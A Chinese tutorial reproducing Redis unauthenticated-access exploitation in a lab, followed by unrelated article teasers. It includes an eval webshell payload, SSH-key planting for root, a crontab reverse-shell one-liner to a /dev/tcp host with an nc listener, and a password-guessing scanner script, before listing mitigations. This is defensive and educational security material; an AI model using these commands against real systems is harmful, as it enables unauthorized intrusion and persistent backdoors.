Redis未授权访问漏洞复现与利用

news2025/2/23 12:22:15

目录

一、漏洞简介及危害

1.1什么是redis未授权访问

1.2漏洞的危害:

1.3漏洞影响:

二、漏洞复现:

三、未授权访问漏洞测试

3.1 利用redis写webshell

3.2 利用"公私钥"认证获取root权限

3.3 利用crontab反弹shell

四、脚本自动化测试

五、解决方案


一、漏洞简介及危害

1.1什么是redis未授权访问

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;

(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。

1.2漏洞的危害:

(1)攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据; (2)攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件; (3)最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器

1.3漏洞影响:

根据 ZoomEye 的探测,全球无验证可直接利用Redis 分布情况如下:

全球无验证可直接利用Redis TOP 10国家与地区:

 

二、漏洞复现:

下载并安装测试用的Redis,本次采用的是Ubuntu镜像:

wget http://download.redis.io/releases/redis-2.8.17.tar.gz (如果下载不下来的话:http://distfiles.macports.org/redis/)

解压安装包:tar xzf redis-2.8.17.tar.gz进入redis目录:cd redis-2.8.17安装:make

make结束后,进入src目录:cd src, 将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

返回目录redis-2.8.17,将redis.conf拷贝到/etc/目录下:

使用/etc/目录下的reids.conf文件中的配置启动redis服务:

服务启动成功,我们克隆这台虚拟机

一台作为攻击机,一台作为靶机

攻击机IP:192.168.0.105

靶机IP:192.168.0.104

启动redis服务进程后,就可以使用测试攻击机程序redis-cli和靶机的redis服务交互了。 比如:

三、未授权访问漏洞测试

使用redis客户端直接无账号成功登录redis:

从登录的结果可以看出该redis服务对公网开放,且未启用认证。

3.1 利用redis写webshell

利用前提:

1.靶机redis链接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证 2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限 (我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件。)

这里由于本地搭建,我们已经知道目录,我们把shell写入/home/bmjoker/目录下:

注:

第三步写入webshell的时候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。

shell写入完成,我们在靶机上来证明:

成功写入shell。

当数据库过大时,redis写shell的小技巧:

<?php set_time_limit(0); $fp=fopen('bmjoker.php','w'); fwrite($fp,'<?php @eval($_POST[\"bmjoker\"]);?>'); exit(); ?>

3.2 利用"公私钥"认证获取root权限

当redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器。

靶机中开启redis服务:redis-server /etc/redis.conf

在靶机中执行  mkdir /root/.ssh  命令,创建ssh公钥存放目录(靶机是作为ssh服务器使用的)

在攻击机中生成ssh公钥和私钥,密码设置为空:

进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

链接靶机上的redis服务,

将保存ssh的公钥1.txt写入redis(使用redis-cli -h ip命令连接靶机,将文件写入):

远程登录靶机的redis服务:redis-cli -h 192.168.0.104 

并使用 CONFIG GET dir 命令得到redis备份的路径:

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

设置上传公钥的备份文件名字为authorized_keys:

检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,

至此成功写入ssh公钥到靶机:

在攻击机上使用ssh免密登录靶机:ssh -i id_rsa root@192.168.0.104

利用私钥成功登录redis服务器!!!

3.3 利用crontab反弹shell

权限足够的情况下,利用redis写入文件到计划任务目录下执行。

端口监听:

在攻击者服务器上监听一个端口(未被占用的任意端口):

nc -lvnp 4444

攻击详情:

连接redis,写入反弹shell

redis-cli -h 192.168.0.104 set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.0.104/4444 0>&1\n\n"

config set dir /var/spool/cron config set dbfilename root save

过一分钟左右就可以收到shell

四、脚本自动化测试

可用来测试是否存在未授权或弱口令的情况:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

#! /usr/bin/env python

# _*_  coding:utf-8 _*_

import socket

import sys

PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']

def check(ip, port, timeout):

    try:

        socket.setdefaulttimeout(timeout)

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

        s.connect((ip, int(port)))

        s.send("INFO\r\n")

        result = s.recv(1024)

        if "redis_version" in result:

            return u"未授权访问"

        elif "Authentication" in result:

            for pass_ in PASSWORD_DIC:

                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

                s.connect((ip, int(port)))

                s.send("AUTH %s\r\n" %(pass_))

                result = s.recv(1024)

                if '+OK' in result:

                    return u"存在弱口令,密码:%s" % (pass_)

    except Exception, e:

        pass

if __name__ == '__main__':

    ip=sys.argv[1]

    port=sys.argv[2]

    print check(ip,port, timeout=10)

五、解决方案

1、比较安全的办法是采用绑定IP的方式来进行控制。

 请在redis.conf文件找到如下配置

1

2

3

4

# If you want you can bind a single interface, if the bind option is not

# specified all the interfaces will listen for incoming connections.

#

# bind 127.0.0.1

把 #bind 127.0.0.1前面的注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

2、设置密码,以提供远程登陆

打开redis.conf配置文件,找到requirepass,然后修改如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

requirepass yourpassword

yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。

  

命令如下:

redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器

keys * //输出服务器中的所有key

报错如下

(error) ERR operation not permitted

  

这时候你可以用授权命令进行授权,就不报错了

  

命令如下:

auth youpassword

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/619477.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

自动化10年+经验给你10条建议,让你在自动化界占据一片地!

目录 前言&#xff1a; 1、哪一刻&#xff0c;让你想起了自动化 1.1 执行回归测试 1.2 压测场景执行并发 1.3 UI稳定&#xff0c;接口不断升级 2、七问&#xff1a;是否了解自动化风险 2.1 团队成员的资历 2.2 自动化成本投入产出比 2.3 慎重对待UI级自动化 2.4 自动化…

OpenAI | Let’s Verify Step by Step详细解读

一、概述 title&#xff1a;Let’s Verify Step by Step 论文地址&#xff1a;https://arxiv.org/abs/2305.20050 代码&#xff1a;GitHub - openai/prm800k: 800,000 step-level correctness labels on LLM solutions to MATH problems 1.1 Motivation 近期大模型的出现极…

青岛科技大学|物联网工程|物联网定位技术(第一讲)|6.7

目录 物联网定位技术&#xff08;第一讲&#xff09; 1. 什么是物联网定位技术&#xff1f; 2. 物联网定位技术主要有哪些&#xff1f; 3. 简述卫星定位系统的发展历史以及GPS的发展概况&#xff1f; &#xff08;1&#xff09;卫星定位的由来和发展 &#xff08;2&…

【Mysql】InnoDB 中 B+ 树索引的注意事项

一、根页面万年不动 在之前的文章里&#xff0c;为了方便理解&#xff0c;都是先画存储用户记录的叶子节点&#xff0c;然后再画出存储目录项记录的内节点。 但实际上 B 树的行成过程是这样的&#xff1a; 每当为某个表创建一个 B 树索引&#xff0c;都会为这个索引创建一个根…

Vue.js 中的服务端渲染和客户端渲染的区别

Vue.js 中的服务端渲染和客户端渲染的区别 Vue.js 是一个流行的前端框架&#xff0c;它提供了一种简单而强大的方式来构建交互式用户界面。Vue.js 可以在客户端和服务端执行渲染&#xff0c;这两种方式有不同的优势和劣势。本文将介绍 Vue.js 中的服务端渲染和客户端渲染的区别…

安全测试:13款免费的安全测试工具,抓紧白嫖不看后悔

目录 1. Excercise in a Box 2. Needle 3. DevSlop 4.移动安全框架(Mobile Security Framework) 5. Frida 6. Nishang 7.Tamper 8.InSpec 9. Faraday 10. Pocsuite 11. Taipan 12.Pacu 13. Secure Guilld 总结 1. Excercise in a Box Excercise in a Box是由英国…

Vue2 前端路由

SPA 单页面应用 只有一个页面&#xff08;一个html文件&#xff09; vue-router 组件之间的切换&#xff08;hash地址与组件间的关系&#xff09;–前端路由 vue版本与路由版本的对应关系 vue2->router3 vue3->router4 入门 用vue脚手架创建只有babel组件的vue项目…

Vue.js 中的 mixin 和混入有什么区别?

Vue.js 中的 mixin 和混入有什么区别&#xff1f; 在 Vue.js 中&#xff0c;mixin 和混入是两个常用的概念&#xff0c;它们可以帮助我们实现代码的复用和组件间的通信。虽然它们的名字很相似&#xff0c;但它们的作用和用法有所不同。本文将介绍 mixin 和混入的区别&#xff…

在Windows中安装极狐GitLab Runner(解决 Host key verification failed.)

官方文档&#xff1a;https://docs.gitlab.cn/runner/install/windows.html 在Windows中安装极狐GitLab Runner 1.下载GitLab Runner二进制文件&#xff0c;新建一个文件夹&#xff08;不要有中文&#xff09;&#xff0c;并将二进制文件放入该文件夹&#xff0c;重命名为“git…

最新成果展示:AlInN/GaN DBR模型数据库的开发与应用

由于AlN和GaN之间存在较大的晶格失配和热膨胀失配&#xff0c;导致很难获得高质量的AlN/GaN布拉格反射镜&#xff08;Distributed Bragg Reflection&#xff0c;DBR&#xff09;结构。为解决该问题&#xff0c;天津赛米卡尔科技有限公司技术团队基于先进的TCAD仿真设计平台开发…

OpenAI Triton 初探

Triton 2021年发布了1.0&#xff0c;我在调研GPU使用方法的时候知道了有这个东西&#xff0c;但是当时还不了解OpenAI&#xff0c;觉得这个项目太新太小众&#xff0c;并没有深究。现在GPT大火之后&#xff0c;再回过头看看他们的这个东西。 现在相关文档还是很少&#xff0c;…

EXCEL数据计算分析功能助力PID闭环控制优化

EXCEL大家并不陌生,这篇博客记录汇总利用EXCEL进行工作分析的一些技巧,专栏也会持续更新,感谢大家关注评论。首先介绍下工控上用的比较多的模拟量采集,模拟量采集的数学基础大家可以查看下面的博客: PLC模拟量输出 模拟量转换FC S_RTI_博图模拟量输出指令_RXXW_Dor的博客…

INDEMIND:陷入创新焦虑的扫地机器人,下一步该怎么走?

卖不动的扫地机器人&#xff0c;需要翻过高价和智能化两座大山。 卖不动的背后&#xff0c;原因是什么&#xff1f; 视角回到行业&#xff0c;随着基站型全功能扫地机器人的出现&#xff0c;机器人的产品力和使用体验得到明显提升&#xff0c;可以说已经能够极大程度的满足消…

Java中查看堆里的信息

文章目录 前言1 建议无脑的做一件事2 jmp命令3 导入 hprof 文件到Visual VM 中4 查看对象属性值 前言 日常工作中&#xff0c;我们可能会遇到这样的场景&#xff1a; java项目发生了OOM&#xff1b;想知道在某种场景下&#xff0c;堆里的信息&#xff0c;从而确认一些代码功能…

2000道面试必问的Java面试八股文及答案整理(2023版)

说快也快&#xff0c;说不快也不慢&#xff01; 年前&#xff0c;陆陆续续&#xff0c;好多大厂都在裁员&#xff1b; 年后&#xff0c;又有一大批程序员失业&#xff0c;找不到避风港&#xff1b; 这时候&#xff0c;就有人说了&#xff0c;为什么找工作这么难&#xff1f;…

【技巧】ZIP文件的分卷压缩如何设置 ?

有时候&#xff0c;因为文件过大&#xff0c;我们进行压缩后发现压缩包依旧很大&#xff0c;不方便储存或邮件发送等。 这种情况就需要把文件进行分卷压缩&#xff0c;也就是根据需要的大小&#xff0c;把文件分别压缩成若干个小压缩包。 还不了解的小伙伴&#xff0c;可以看…

入行这几年,我已经快要摸透了软件测试这一行!

目录 前言&#xff1a; 第一年 第二年 第三年 第四年 作为过来人的一些忠告 自动化测试到底应该学什么&#xff1f; 结尾&#xff1a; 前言&#xff1a; 软件测试是通过对软件系统进行测试、诊断和验证&#xff0c;以保证软件系统能够符合用户需求和预期质量标准的过程。 大…

java设计模式之:适配器模式

文章目录 适配器模式定义通用代码实现适用场景案例场景分析一坨坨代码实现适配器模式重构 总结 适配器模式&#xff08;Adapter Pattern&#xff09;&#xff1a;将一个类的接口变换成客户端所期待的另一种接口&#xff0c;从而使原本因接口不匹配而无法在一起工作的两个类能够…

熬夜整理21条避坑指南,细聊该如何让自动化完美运行!

目录 1、引言 2、避坑内容总结 2.1无法定位到元素 2.2 Indentation Error 2.3 PO设计模式类 2.4 页面封装类中没有已定义函数的问题 2.4.1 提示没有该方法 2.4.2 没有定义好的函数 2.5 parater must be str 2.6 继承 2.7 not all arguments curerted during string …

前端web自动化测试:selenium怎么实现关键字驱动

要做 ui 自动化测试&#xff0c;使用关键字驱动可以说是必须会的一种测试方式&#xff0c;它既可以在纯代码的自动化程序中运行&#xff0c;也可以在测试平台中使用。 使用纯代码方式时&#xff0c;自动化工程师先写好一个通用的程序&#xff0c;其他手工测试人员只需要把执行…